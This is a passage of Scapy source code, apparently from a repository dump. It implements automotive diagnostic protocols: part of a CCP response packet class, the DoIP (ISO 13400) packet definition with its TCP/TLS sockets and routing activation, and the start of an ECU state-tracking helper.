StrFixedLenField('ccp_reserved', b'\\xff' * 3, length=3)\n    ]\n\n\nclass DTO(Packet):\n    __slots__ = Packet.__slots__ + [\"payload_cls\"]\n\n    return_codes = {\n        0x00: \"acknowledge / no error\",\n        0x01: \"DAQ processor overload\",\n        0x10: \"command processor busy\",\n        0x11: \"DAQ processor busy\",\n        0x12: \"internal timeout\",\n        0x18: \"key request\",\n        0x19: \"session status request\",\n        0x20: \"cold start request\",\n        0x21: \"cal. data init. request\",\n        0x22: \"DAQ list init. request\",\n        0x23: \"code update request\",\n        0x30: \"unknown command\",\n        0x31: \"command syntax\",\n        0x32: \"parameter(s) out of range\",\n        0x33: \"access denied\",\n        0x34: \"overload\",\n        0x35: \"access locked\",\n        0x36: \"resource/function not available\"\n    }\n    fields_desc = [\n        XByteField(\"packet_id\", 0xff),\n        ByteEnumField('return_code', 0x00, return_codes),\n        ByteField('ctr', 0)\n    ]\n\n    def __init__(self, *args, **kwargs):\n        self.payload_cls = DEFAULT_DTO\n        if \"payload_cls\" in kwargs:\n            self.payload_cls = kwargs[\"payload_cls\"]\n            del kwargs[\"payload_cls\"]\n        Packet.__init__(self, *args, **kwargs)\n\n    def __eq__(self, other):\n        return super(DTO, self).__eq__(other) and \\\n            self.payload_cls == other.payload_cls\n\n    def guess_payload_class(self, payload):\n        return self.payload_cls\n\n    @staticmethod\n    def get_dto_cls(cmd):\n        try:\n            return {\n                0x03: DNLOAD_DTO,\n                0x04: UPLOAD_DTO,\n                0x09: GET_ACTIVE_CAL_PAGE_DTO,\n                0x0D: GET_S_STATUS_DTO,\n                0x0E: BUILD_CHKSUM_DTO,\n                0x0F: SHORT_UP_DTO,\n                0x12: GET_SEED_DTO,\n                0x13: UNLOCK_DTO,\n                0x14: GET_DAQ_SIZE_DTO,\n                0x17: EXCHANGE_ID_DTO,\n                0x18: PROGRAM_DTO,\n                0x1B: GET_CCP_VERSION_DTO,\n                0x20: DIAG_SERVICE_DTO,\n                0x21: ACTION_SERVICE_DTO,\n                0x22: PROGRAM_6_DTO,\n                0x23: DNLOAD_6_DTO\n            }[cmd]\n        except KeyError:\n            return DEFAULT_DTO\n\n    def answers(self, other):\n        \"\"\"In CCP, the payload of a DTO packet is dependent on the cmd field\n        of a corresponding CRO packet. Two packets correspond, if there\n        ctr field is equal. If answers detect the corresponding CRO, it will\n        interpret the payload of a DTO with the correct class. In CCP, there is\n        no other way, to determine the class of a DTO payload. Since answers is\n        called on sr and sr1, this modification of the original answers\n        implementation will give a better user experience. \"\"\"\n        if not hasattr(other, \"ctr\"):\n            return 0\n        if self.ctr != other.ctr:\n            return 0\n        if not hasattr(other, \"cmd\"):\n            return 0\n\n        new_pl_cls = self.get_dto_cls(other.cmd)\n        if self.payload_cls != new_pl_cls and \\\n                self.payload_cls == DEFAULT_DTO:\n            data = bytes(self.load)\n            self.remove_payload()\n            self.add_payload(new_pl_cls(data))\n            self.payload_cls = new_pl_cls\n        return 1\n\n    def hashret(self):\n        return struct.pack('B', self.ctr)\n\n\nbind_bottom_up(CCP, DTO)\n"
  },
  {
    "path": "scapy/contrib/automotive/doip.py",
    "content": "#! /usr/bin/env python\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Diagnostic over IP (DoIP) / ISO 13400\n# scapy.contrib.status = loads\n\nimport socket\nimport ssl\nimport struct\nimport time\nfrom typing import (\n    Any,\n    Union,\n    Tuple,\n    Optional,\n    Dict,\n    Type,\n)\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.uds import UDS\nfrom scapy.data import MTU\nfrom scapy.fields import (\n    ByteEnumField,\n    ConditionalField,\n    IntField,\n    MayEnd,\n    StrFixedLenField,\n    XByteEnumField,\n    XByteField,\n    XIntField,\n    XShortEnumField,\n    XShortField,\n    XStrField,\n)\nfrom scapy.layers.inet import TCP, UDP\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.supersocket import SSLStreamSocket\n\n\n# ISO 13400-2 sect 9.2\n\n\nclass DoIP(Packet):\n    \"\"\"\n    Implementation of the DoIP (ISO 13400) protocol. DoIP packets can be sent\n    via UDP and TCP. Depending on the payload type, the correct connection\n    need to be chosen:\n\n    +--------------+--------------------------------------------------------------+-----------------+\n    | Payload Type | Payload Type Name                                            | Connection Kind |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0000       | Generic DoIP header negative acknowledge                     | UDP / TCP       |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0001       | Vehicle Identification request message                       | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0002       | Vehicle identification request message with EID              | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0003       | Vehicle identification request message with VIN              | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0004       | Vehicle announcement message/vehicle identification response | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0005       | Routing activation request                                   | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0006       | Routing activation response                                  | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0007       | Alive Check request                                          | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x0008       | Alive Check response                                         | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x4001       | IP entity status request                                     | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x4002       | DoIP entity status response                                  | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x4003       | Diagnostic power mode information request                    | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x4004       | Diagnostic power mode information response                   | UDP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x8001       | Diagnostic message                                           | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x8002       | Diagnostic message positive acknowledgement                  | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n    | 0x8003       | Diagnostic message negative acknowledgement                  | TCP             |\n    +--------------+--------------------------------------------------------------+-----------------+\n\n    Example with UDP:\n        >>> socket = L3RawSocket(iface=\"eth0\")\n        >>> resp = socket.sr1(IP(dst=\"169.254.117.238\")/UDP(dport=13400)/DoIP(payload_type=1))\n\n    Example with TCP:\n        >>> socket = DoIPSocket(\"169.254.117.238\")\n        >>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000])\n        >>> resp = socket.sr1(pkt, timeout=1)\n\n    Example with UDS:\n        >>> socket = UDS_DoIPSocket(\"169.254.117.238\")\n        >>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000])\n        >>> resp = socket.sr1(pkt, timeout=1)\n    \"\"\"  # noqa: E501\n    payload_types = {\n        0x0000: \"Generic DoIP header NACK\",\n        0x0001: \"Vehicle identification request\",\n        0x0002: \"Vehicle identification request with EID\",\n        0x0003: \"Vehicle identification request with VIN\",\n        0x0004: \"Vehicle announcement message/vehicle identification response message\",  # noqa: E501\n        0x0005: \"Routing activation request\",\n        0x0006: \"Routing activation response\",\n        0x0007: \"Alive check request\",\n        0x0008: \"Alive check response\",\n        0x4001: \"DoIP entity status request\",\n        0x4002: \"DoIP entity status response\",\n        0x4003: \"Diagnostic power mode information request\",\n        0x4004: \"Diagnostic power mode information response\",\n        0x8001: \"Diagnostic message\",\n        0x8002: \"Diagnostic message ACK\",\n        0x8003: \"Diagnostic message NACK\"}\n    name = 'DoIP'\n    fields_desc = [\n        XByteEnumField(\"protocol_version\", 0x02, {\n            0x01: \"ISO13400_2010\", 0x02: \"ISO13400_2012\",\n            0x03: \"ISO13400_2019\", 0x04: \"ISO13400_2019_AMD1\"}),\n        XByteEnumField(\"inverse_version\", 0xFD, {\n            0xFE: \"ISO13400_2010\", 0xFD: \"ISO13400_2012\",\n            0xFC: \"ISO13400_2019\", 0xFB: \"ISO13400_2019_AMD1\"}),\n        XShortEnumField(\"payload_type\", 0, payload_types),\n        IntField(\"payload_length\", None),\n        ConditionalField(ByteEnumField(\"nack\", 0, {\n            0: \"Incorrect pattern format\", 1: \"Unknown payload type\",\n            2: \"Message too large\", 3: \"Out of memory\",\n            4: \"Invalid payload length\"\n        }), lambda p: p.payload_type in [0x0]),\n        ConditionalField(StrFixedLenField(\"vin\", b\"\", 17),\n                         lambda p: p.payload_type in [3, 4]),\n        ConditionalField(XShortField(\"logical_address\", 0),\n                         lambda p: p.payload_type in [4]),\n        ConditionalField(StrFixedLenField(\"eid\", b\"\", 6),\n                         lambda p: p.payload_type in [2, 4]),\n        ConditionalField(StrFixedLenField(\"gid\", b\"\", 6),\n                         lambda p: p.payload_type in [4]),\n        ConditionalField(MayEnd(XByteEnumField(\"further_action\", 0, {\n            0x00: \"No further action required\",\n            0x01: \"Reserved by ISO 13400\", 0x02: \"Reserved by ISO 13400\",\n            0x03: \"Reserved by ISO 13400\", 0x04: \"Reserved by ISO 13400\",\n            0x05: \"Reserved by ISO 13400\", 0x06: \"Reserved by ISO 13400\",\n            0x07: \"Reserved by ISO 13400\", 0x08: \"Reserved by ISO 13400\",\n            0x09: \"Reserved by ISO 13400\", 0x0a: \"Reserved by ISO 13400\",\n            0x0b: \"Reserved by ISO 13400\", 0x0c: \"Reserved by ISO 13400\",\n            0x0d: \"Reserved by ISO 13400\", 0x0e: \"Reserved by ISO 13400\",\n            0x0f: \"Reserved by ISO 13400\",\n            0x10: \"Routing activation required to initiate central security\",\n        })), lambda p: p.payload_type in [4]),\n        # VIN/GID sync. status is marked as optional, so the packet MayEnd\n        # on further_action\n        ConditionalField(XByteEnumField(\"vin_gid_status\", 0, {\n            0x00: \"VIN and/or GID are synchronized\",\n            0x01: \"Reserved by ISO 13400\", 0x02: \"Reserved by ISO 13400\",\n            0x03: \"Reserved by ISO 13400\", 0x04: \"Reserved by ISO 13400\",\n            0x05: \"Reserved by ISO 13400\", 0x06: \"Reserved by ISO 13400\",\n            0x07: \"Reserved by ISO 13400\", 0x08: \"Reserved by ISO 13400\",\n            0x09: \"Reserved by ISO 13400\", 0x0a: \"Reserved by ISO 13400\",\n            0x0b: \"Reserved by ISO 13400\", 0x0c: \"Reserved by ISO 13400\",\n            0x0d: \"Reserved by ISO 13400\", 0x0e: \"Reserved by ISO 13400\",\n            0x0f: \"Reserved by ISO 13400\",\n            0x10: \"Incomplete: VIN and GID are NOT synchronized\"\n        }), lambda p: p.payload_type in [4]),\n        ConditionalField(XShortField(\"source_address\", 0),\n                         lambda p: p.payload_type in [5, 8, 0x8001, 0x8002, 0x8003]),  # noqa: E501\n        ConditionalField(XByteEnumField(\"activation_type\", 0, {\n            0: \"Default\", 1: \"WWH-OBD\", 0xe0: \"Central security\",\n            0x16: \"Default\", 0x116: \"Diagnostic\", 0xe016: \"Central security\"\n        }), lambda p: p.payload_type in [5]),\n        ConditionalField(XShortField(\"logical_address_tester\", 0),\n                         lambda p: p.payload_type in [6]),\n        ConditionalField(XShortField(\"logical_address_doip_entity\", 0),\n                         lambda p: p.payload_type in [6]),\n        ConditionalField(XByteEnumField(\"routing_activation_response\", 0, {\n            0x00: \"Routing activation denied due to unknown source address.\",\n            0x01: \"Routing activation denied because all concurrently supported TCP_DATA sockets are registered and active.\",  # noqa: E501\n            0x02: \"Routing activation denied because an SA different from the table connection entry was received on the already activated TCP_DATA socket.\",  # noqa: E501\n            0x03: \"Routing activation denied because the SA is already registered and active on a different TCP_DATA socket.\",  # noqa: E501\n            0x04: \"Routing activation denied due to missing authentication.\",\n            0x05: \"Routing activation denied due to rejected confirmation.\",\n            0x06: \"Routing activation denied due to unsupported routing activation type.\",  # noqa: E501\n            0x07: \"Routing activation denied because the specified activation type requires a secure TLS TCP_DATA socket.\",  # noqa: E501\n            0x08: \"Reserved by ISO 13400.\",\n            0x09: \"Reserved by ISO 13400.\", 0x0a: \"Reserved by ISO 13400.\",\n            0x0b: \"Reserved by ISO 13400.\", 0x0c: \"Reserved by ISO 13400.\",\n            0x0d: \"Reserved by ISO 13400.\", 0x0e: \"Reserved by ISO 13400.\",\n            0x0f: \"Reserved by ISO 13400.\",\n            0x10: \"Routing successfully activated.\",\n            0x11: \"Routing will be activated; confirmation required.\"\n        }), lambda p: p.payload_type in [6]),\n        ConditionalField(XIntField(\"reserved_iso\", 0),\n                         lambda p: p.payload_type in [5, 6]),\n        ConditionalField(XStrField(\"reserved_oem\", b\"\"),\n                         lambda p: p.payload_type in [5, 6]),\n        ConditionalField(XByteEnumField(\"diagnostic_power_mode\", 0, {\n            0: \"not ready\", 1: \"ready\", 2: \"not supported\"\n        }), lambda p: p.payload_type in [0x4004]),\n        ConditionalField(ByteEnumField(\"node_type\", 0, {\n            0: \"DoIP gateway\", 1: \"DoIP node\"\n        }), lambda p: p.payload_type in [0x4002]),\n        ConditionalField(XByteField(\"max_open_sockets\", 1),\n                         lambda p: p.payload_type in [0x4002]),\n        ConditionalField(XByteField(\"cur_open_sockets\", 0),\n                         lambda p: p.payload_type in [0x4002]),\n        ConditionalField(IntField(\"max_data_size\", 0),\n                         lambda p: p.payload_type in [0x4002]),\n        ConditionalField(XShortField(\"target_address\", 0),\n                         lambda p: p.payload_type in [0x8001, 0x8002, 0x8003]),  # noqa: E501\n        ConditionalField(XByteEnumField(\"ack_code\", 0, {0: \"ACK\"}),\n                         lambda p: p.payload_type in [0x8002]),\n        ConditionalField(ByteEnumField(\"nack_code\", 0, {\n            0x00: \"Reserved by ISO 13400\", 0x01: \"Reserved by ISO 13400\",\n            0x02: \"Invalid source address\", 0x03: \"Unknown target address\",\n            0x04: \"Diagnostic message too large\", 0x05: \"Out of memory\",\n            0x06: \"Target unreachable\", 0x07: \"Unknown network\",\n            0x08: \"Transport protocol error\"\n        }), lambda p: p.payload_type in [0x8003]),\n        ConditionalField(XStrField(\"previous_msg\", b\"\"),\n                         lambda p: p.payload_type in [0x8002, 0x8003])\n    ]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        \"\"\"DEV: true if self is an answer from other\"\"\"\n        if isinstance(other, type(self)):\n            if self.payload_type == 0:\n                return 1\n\n            matches = [(4, 1), (4, 2), (4, 3), (6, 5), (8, 7),\n                       (0x4002, 0x4001), (0x4004, 0x4003),\n                       (0x8001, 0x8001), (0x8003, 0x8001)]\n            if (self.payload_type, other.payload_type) in matches:\n                if self.payload_type == 0x8001:\n                    return self.payload.answers(other.payload)\n                return 1\n        return 0\n\n    def hashret(self):\n        # type: () -> bytes\n        payload_type_mapping = {\n            0x0000: b\"\\x01\",\n            0x0001: b\"\\x01\",\n            0x0002: b\"\\x01\",\n            0x0003: b\"\\x01\",\n            0x0004: b\"\\x01\",\n            0x0005: b\"\\x02\",\n            0x0006: b\"\\x02\",\n            0x0007: b\"\\x03\",\n            0x0008: b\"\\x03\",\n            0x4001: b\"\\x04\",\n            0x4002: b\"\\x04\",\n            0x4003: b\"\\x05\",\n            0x4004: b\"\\x05\",\n            0x8001: b\"\\x06\",\n            0x8002: b\"\\x06\",\n            0x8003: b\"\\x06\",\n        }\n\n        return payload_type_mapping.get(self.payload_type, b\"\\xff\")\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        \"\"\"\n        This will set the Field 'payload_length' to the correct value.\n        \"\"\"\n        if self.payload_length is None:\n            pkt = pkt[:4] + struct.pack(\n                \"!I\", len(pay) + len(pkt) - 8) + pkt[8:]\n        return pkt + pay\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        if self.payload_type == 0x8001:\n            return s[:self.payload_length - 4], s[self.payload_length - 4:]\n        else:\n            return b\"\", s\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata, session):\n        # type: (bytes, Dict[str, Any], Dict[str, Any]) -> Optional[Packet]\n        length = struct.unpack(\"!I\", data[4:8])[0] + 8\n        if len(data) >= length:\n            return DoIP(data)\n        return None\n\n\nbind_bottom_up(UDP, DoIP, sport=13400)\nbind_bottom_up(UDP, DoIP, dport=13400)\nbind_layers(UDP, DoIP, sport=13400, dport=13400)\n\nbind_layers(TCP, DoIP, sport=13400)\nbind_layers(TCP, DoIP, dport=13400)\n\nbind_layers(DoIP, UDS, payload_type=0x8001)\n\n\nclass DoIPSSLStreamSocket(SSLStreamSocket):\n    \"\"\"Custom SSLStreamSocket for DoIP communication.\n    \"\"\"\n\n    def __init__(self, sock, basecls=None):\n        # type: (socket.socket, Optional[Type[Packet]]) -> None\n        super(DoIPSSLStreamSocket, self).__init__(sock, basecls or DoIP)\n        self.buffer = b\"\"\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (Optional[int], **Any) -> Optional[Packet]\n        if len(self.buffer) < 8:\n            self.buffer += self.ins.recv(8)\n        if len(self.buffer) < 8:\n            return None\n        len_data = self.buffer[:8]\n\n        len_int = struct.unpack(\">I\", len_data[4:8])[0]\n        len_int += 8\n\n        self.buffer += self.ins.recv(len_int - len(self.buffer))\n        if len(self.buffer) < len_int:\n            return None\n        pktbuf = self.buffer[:len_int]\n        self.buffer = self.buffer[len_int:]\n\n        pkt = self.basecls(pktbuf, **kwargs)  # type: Packet\n        return pkt\n\n\nclass DoIPSocket(DoIPSSLStreamSocket):\n    \"\"\"Socket for DoIP communication. This sockets automatically\n    sends a routing activation request as soon as a TCP or TLS connection is\n    established.\n\n    :param ip: IP address of destination\n    :param port: destination port, usually 13400\n    :param tls_port: destination port for TLS connection, usually 3496\n    :param activate_routing: If true, routing activation request is\n                             automatically sent\n    :param source_address: DoIP source address\n    :param target_address: DoIP target address, this is automatically\n                           determined if routing activation request is sent\n    :param activation_type: This allows to set a different activation type for\n                            the routing activation request\n    :param reserved_oem: Optional parameter to set value for reserved_oem field\n                         of routing activation request\n    :param force_tls: Skip establishing of a TCP connection and directly try to\n                      connect via SSL/TLS\n    :param context: Optional ssl.SSLContext object for initialization of ssl socket\n                    connections.\n    :param doip_version: DoIP protocol version to use, default is 2 (ISO 13400-2012)\n    :param enforce_doip_version: If true, the protocol_version field in each DoIP\n                                 packet to be sent, is always set to the value of\n                                 doip_version.\n\n    Example:\n        >>> socket = DoIPSocket(\"169.254.0.131\")\n        >>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000])\n        >>> resp = socket.sr1(pkt, timeout=1)\n    \"\"\"  # noqa: E501\n\n    def __init__(self,\n                 ip='127.0.0.1',  # type: str\n                 port=13400,  # type: int\n                 tls_port=3496,  # type: int\n                 activate_routing=True,  # type: bool\n                 source_address=0xe80,  # type: int\n                 target_address=0,  # type: int\n                 activation_type=0,  # type: int\n                 reserved_oem=b\"\",  # type: bytes\n                 force_tls=False,  # type: bool\n                 context=None,  # type: Optional[ssl.SSLContext]\n                 doip_version=2,  # type: int\n                 enforce_doip_version=False,  # type: bool\n                 ):  # type: (...) -> None\n        self.ip = ip\n        self.port = port\n        self.tls_port = tls_port\n        self.activate_routing = activate_routing\n        self.source_address = source_address\n        self.target_address = target_address\n        self.activation_type = activation_type\n        self.reserved_oem = reserved_oem\n        self.force_tls = force_tls\n        self.context = context\n        self.doip_version = doip_version\n        self.enforce_doip_version = enforce_doip_version\n        try:\n            self._init_socket()\n        except Exception:\n            self.close()\n            raise\n\n    def _init_socket(self):\n        # type: () -> None\n        connected = False\n        addrinfo = socket.getaddrinfo(self.ip, self.port, proto=socket.IPPROTO_TCP)\n        sock_family = addrinfo[0][0]\n\n        s = socket.socket(sock_family, socket.SOCK_STREAM)\n        s.settimeout(5)\n        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n        if not self.force_tls:\n            s.connect(addrinfo[0][-1])\n            connected = True\n            DoIPSSLStreamSocket.__init__(self, s)\n\n            if not self.activate_routing:\n                return\n\n            activation_return = self._activate_routing()\n        else:\n            # Let's overwrite activation_return to force TLS Connection\n            activation_return = 0x07\n\n        if activation_return == 0x10:\n            # Routing successfully activated.\n            return\n        elif activation_return == 0x07:\n            # Routing activation denied because the specified activation\n            # type requires a secure TLS TCP_DATA socket.\n            if self.context is None:\n                raise ValueError(\"SSLContext 'context' can not be None\")\n            if connected:\n                s.close()\n                s = socket.socket(sock_family, socket.SOCK_STREAM)\n                s.settimeout(5)\n                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n            ss = self.context.wrap_socket(s)\n            addrinfo = socket.getaddrinfo(\n                self.ip, self.tls_port, proto=socket.IPPROTO_TCP)\n            ss.connect(addrinfo[0][-1])\n            DoIPSSLStreamSocket.__init__(self, ss)\n\n            if not self.activate_routing:\n                return\n\n            activation_return = self._activate_routing()\n            if activation_return == 0x10:\n                # Routing successfully activated.\n                return\n            else:\n                raise Exception(\n                    \"DoIPSocket activate_routing failed with \"\n                    \"routing_activation_response 0x%x\" % activation_return)\n\n        elif activation_return == -1:\n            raise Exception(\"DoIPSocket._activate_routing failed\")\n        else:\n            raise Exception(\n                \"DoIPSocket activate_routing failed with \"\n                \"routing_activation_response 0x%x!\" % activation_return)\n\n    def _activate_routing(self):  # type: (...) -> int\n        resp = self.sr1(\n            DoIP(payload_type=0x5, activation_type=self.activation_type,\n                 source_address=self.source_address, reserved_oem=self.reserved_oem),\n            verbose=False, timeout=1)\n        if resp and resp.payload_type == 0x6 and \\\n                resp.routing_activation_response == 0x10:\n            self.target_address = (\n                self.target_address or resp.logical_address_doip_entity)\n            log_automotive.info(\n                \"Routing activation successful! Target address set to: 0x%x\",\n                self.target_address)\n        else:\n            log_automotive.error(\n                \"Routing activation failed! Response: %s\", repr(resp))\n\n        if resp and resp.payload_type == 0x6:\n            return resp.routing_activation_response\n        else:\n            return -1\n\n    def send(self, x):  # type: (Packet) -> int\n        if self.enforce_doip_version and isinstance(x, DoIP):\n            x[DoIP].protocol_version = self.doip_version\n            x[DoIP].inverse_version = 0xFF - self.doip_version\n        return super().send(x)\n\n\nclass UDS_DoIPSocket(DoIPSocket):\n    \"\"\"\n    Application-Layer socket for DoIP endpoints. This socket takes care about\n    the encapsulation of UDS packets into DoIP packets.\n\n    Example:\n        >>> socket = UDS_DoIPSocket(\"169.254.117.238\")\n        >>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000])\n        >>> resp = socket.sr1(pkt, timeout=1)\n    \"\"\"\n\n    def send(self, x):\n        # type: (Union[Packet, bytes]) -> int\n        if isinstance(x, UDS):\n            pkt = DoIP(payload_type=0x8001,\n                       source_address=self.source_address,\n                       target_address=self.target_address\n                       ) / x\n        else:\n            pkt = x\n\n        try:\n            x.sent_time = time.time()  # type: ignore\n        except AttributeError:\n            pass\n\n        return super().send(pkt)\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (Optional[int], **Any) -> Optional[Packet]\n        pkt = super().recv(x, **kwargs)\n        if pkt and pkt.payload_type == 0x8001:\n            return pkt.payload\n        else:\n            return pkt\n\n    pass\n"
  },
  {
    "path": "scapy/contrib/automotive/ecu.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Helper class for tracking Ecu states (Ecu)\n# scapy.contrib.status = loads\n\nimport time\nimport random\nimport copy\nimport itertools\n\nfrom collections import defaultdict\nfrom types import GeneratorType\nfrom threading import Lock\n\nfrom scapy.compat import orb\nfrom scapy.packet import Raw, Packet\nfrom scapy.plist import PacketList\nfrom scapy.sessions import DefaultSession\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.supersocket import SuperSocket\nfrom scapy.error import Scapy_Exception\n\n# Typing imports\nfrom typing import (\n    Any,\n    Union,\n    Iterable,\n    Callable,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    cast,\n    Dict,\n)\n\n\n__all__ = [\"EcuState\", \"Ecu\", \"EcuResponse\", \"EcuSession\",\n           \"EcuAnsweringMachine\"]\n\n\nclass EcuState(object):\n    \"\"\"\n    Stores the state of an Ecu. The state is defined by a protocol, for\n    example UDS or GMLAN.\n    A EcuState supports comparison and serialization (command()).\n    \"\"\"\n    __slots__ = [\"__dict__\", \"__cache__\"]\n\n    def __init__(self, **kwargs):\n        # type: (Any) -> None\n        self.__cache__ = None  # type: Optional[Tuple[List[EcuState], List[Any]]]  # noqa: E501\n        for k, v in kwargs.items():\n            if isinstance(v, GeneratorType):\n                v = list(v)\n            self.__setitem__(k, v)\n\n    def _expand(self):\n        # type: () -> List[EcuState]\n        values = list(self.__dict__.values())\n        keys = list(self.__dict__.keys())\n        if self.__cache__ is None or self.__cache__[1] != values:\n            expanded = list()\n            for x in itertools.product(*[self._flatten(v) for v in values]):\n                kwargs = {}\n                for i, k in enumerate(keys):\n                    if x[i] is None:\n                        continue\n                    kwargs[k] = x[i]\n                expanded.append(EcuState(**kwargs))\n            self.__cache__ = (expanded, values)\n        return self.__cache__[0]\n\n    @staticmethod\n    def _flatten(x):\n        # type: (Any) -> List[Any]\n        if isinstance(x, (str, bytes)):\n            return [x]\n        elif hasattr(x, \"__iter__\") and hasattr(x, \"__len__\") and len(x) == 1:\n            return list(*x)\n        elif not hasattr(x, \"__iter__\"):\n            return [x]\n        flattened = list()\n        for y in x:\n            if hasattr(x, \"__iter__\"):\n                flattened += EcuState._flatten(y)\n            else:\n                flattened += [y]\n        return flattened\n\n    def __delitem__(self, key):\n        # type: (str) -> None\n        self.__cache__ = None\n        del self.__dict__[key]\n\n    def __len__(self):\n        # type: () -> int\n        return len(self.__dict__.keys())\n\n    def __getitem__(self, item):\n        # type: (str) -> Any\n        return self.__dict__[item]\n\n    def __setitem__(self, key, value):\n        # type: (str, Any) -> None\n        self.__cache__ = None\n        self.__dict__[key] = value\n\n    def __repr__(self):\n        # type: () -> str\n        return \"\".join(str(k) + str(v) for k, v in\n                       sorted(self.__dict__.items(), key=lambda t: t[0]))\n\n    def __eq__(self, other):\n        # type: (object) -> bool\n        other = cast(EcuState, other)\n        if len(self.__dict__) != len(other.__dict__):\n            return False\n        try:\n            return all(self.__dict__[k] == other.__dict__[k]\n                       for k in self.__dict__.keys())\n        except KeyError:\n            return False\n\n    def __contains__(self, item):\n        # type: (EcuState) -> bool\n        if not isinstance(item, EcuState):\n            return False\n        return all(s in self._expand() for s in item._expand())\n\n    def __ne__(self, other):\n        # type: (object) -> bool\n        return not other == self\n\n    def __lt__(self, other):\n        # type: (EcuState) -> bool\n        if self == other:\n            return False\n\n        if len(self) < len(other):\n            return True\n\n        if len(self) > len(other):\n            return False\n\n        common = set(self.__dict__.keys()).intersection(\n            set(other.__dict__.keys()))\n\n        for k in sorted(common):\n            if not isinstance(other.__dict__[k], type(self.__dict__[k])):\n                raise TypeError(\n                    \"Can't compare %s with %s for the EcuState element %s\" %\n                    (type(self.__dict__[k]), type(other.__dict__[k]), k))\n            if self.__dict__[k] < other.__dict__[k]:\n                return True\n            if self.__dict__[k] > other.__dict__[k]:\n                return False\n\n        if len(common) < len(self.__dict__):\n            self_diffs = set(self.__dict__.keys()).difference(\n                set(other.__dict__.keys()))\n            other_diffs = set(other.__dict__.keys()).difference(\n                set(self.__dict__.keys()))\n\n            for s, o in zip(self_diffs, other_diffs):\n                if s < o:\n                    return True\n\n            return False\n\n        raise TypeError(\"EcuStates should be identical. Something bad happen. \"\n                        \"self: %s other: %s\" % (self.__dict__, other.__dict__))\n\n    def __hash__(self):\n        # type: () -> int\n        return hash(repr(self))\n\n    def reset(self):\n        # type: () -> None\n        self.__cache__ = None\n        keys = list(self.__dict__.keys())\n        for k in keys:\n            del self.__dict__[k]\n\n    def command(self):\n        # type: () -> str\n        return \"EcuState(\" + \", \".join(\n            [\"%s=%s\" % (k, repr(v)) for k, v in sorted(\n                self.__dict__.items(), key=lambda t: t[0])]) + \")\"\n\n    @staticmethod\n    def extend_pkt_with_modifier(cls):\n        # type: (Type[Packet]) -> Callable[[Callable[[Packet, Packet, EcuState], None]], None]  # noqa: E501\n        \"\"\"\n        Decorator to add a function as 'modify_ecu_state' method to a given\n        class. This allows dynamic modifications and additions to a protocol.\n        :param cls: A packet class to be modified\n        :return: Decorator function\n        \"\"\"\n        if len(cls.fields_desc) == 0:\n            raise Scapy_Exception(\"Packets without fields can't be extended.\")\n\n        if hasattr(cls, \"modify_ecu_state\"):\n            raise Scapy_Exception(\n                \"Class already extended. Can't override existing method.\")\n\n        def decorator_function(f):\n            # type: (Callable[[Packet, Packet, EcuState], None]) -> None\n            setattr(cls, \"modify_ecu_state\", f)\n\n        return decorator_function\n\n    @staticmethod\n    def is_modifier_pkt(pkt):\n        # type: (Packet) -> bool\n        \"\"\"\n        Helper function to determine if a Packet contains a layer that\n        modifies the EcuState.\n        :param pkt: Packet to be analyzed\n        :return: True if pkt contains layer that implements modify_ecu_state\n        \"\"\"\n        return any(hasattr(layer, \"modify_ecu_state\")\n                   for layer in pkt.layers())\n\n    @staticmethod\n    def get_modified_ecu_state(response, request, state, modify_in_place=False):  # noqa: E501\n        # type: (Packet, Packet, EcuState, bool) -> EcuState\n        \"\"\"\n        Helper function to get a modified EcuState from a Packet and a\n        previous EcuState. An EcuState is always modified after a response\n        Packet is received. In some protocols, the belonging request packet\n        is necessary to determine the precise state of the Ecu\n\n        :param response: Response packet that supports `modify_ecu_state`\n        :param request: Belonging request of the response that modifies Ecu\n        :param state: The previous/current EcuState\n        :param modify_in_place: If True, the given EcuState will be modified\n        :return: The modified EcuState or a modified copy\n        \"\"\"\n   